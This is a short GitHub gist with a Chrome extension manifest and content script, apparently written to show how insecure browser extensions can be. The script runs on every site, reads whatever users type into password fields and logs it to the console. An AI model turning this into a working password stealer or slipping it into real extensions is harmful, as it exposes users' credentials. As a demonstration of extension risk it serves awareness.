Skip to content

Instantly share code, notes, and snippets.

@jlogsdon
Created June 4, 2015 21:28
Show Gist options
  • Save jlogsdon/2e8e0eccf6c25564348e to your computer and use it in GitHub Desktop.
Save jlogsdon/2e8e0eccf6c25564348e to your computer and use it in GitHub Desktop.
Oh god!
{
"manifest_version": 2,
"name": "Password Pwn",
"description": "This extension shows how insecure extensions can be",
"version": "1.0",
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["pwn.js"]
}
]
}
Array.prototype.forEach.call(document.querySelectorAll('input[type="password"]'), function(input) {
input.addEventListener('blur', function() {
console.log(input, input.value);
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment